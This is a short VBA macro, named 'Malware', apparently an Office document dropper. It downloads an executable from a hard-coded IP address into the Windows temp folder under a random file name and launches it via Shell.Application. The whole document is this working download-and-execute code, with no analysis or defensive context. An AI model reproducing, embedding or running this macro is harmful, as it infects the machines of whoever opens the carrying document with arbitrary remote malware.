Sub Malware()
    Set fs = CreateObject("Scripting.FileSystemObject")

    Const fsTempFolder = 2
    Set tempFolder = fs.GetSpecialFolder(fsTempFolder)

    URL = "http://46.30.42.90:8080/azvxjdfr31k/abs5ajsu.exe"
    localFile = tempFolder & "\fdgfdgdfga.exe"

    Set xmlHttp = CreateObject("MSXML2.XMLHTTP")
    xmlHttp.Open "GET", URL, False
    xmlHttp.send

    Set fs2 = CreateObject("Scripting.FileSystemObject")
    If fs2.FileExists(localFile) Then
        fs2.DeleteFile (localFile)
    End If

    Set adodbStream = CreateObject("ADODB.Stream")
    With adodbStream
        .Type = 1 'Binary
        .Open
        .Write xmlHttp.responseBody
        .SaveToFile localFile
        .Close
    End With

    Set adodbStream = Nothing

    Set Application = CreateObject("Shell.Application")
    Application.Open tempFolder & "\fdgfdgdfga.exe"
End Sub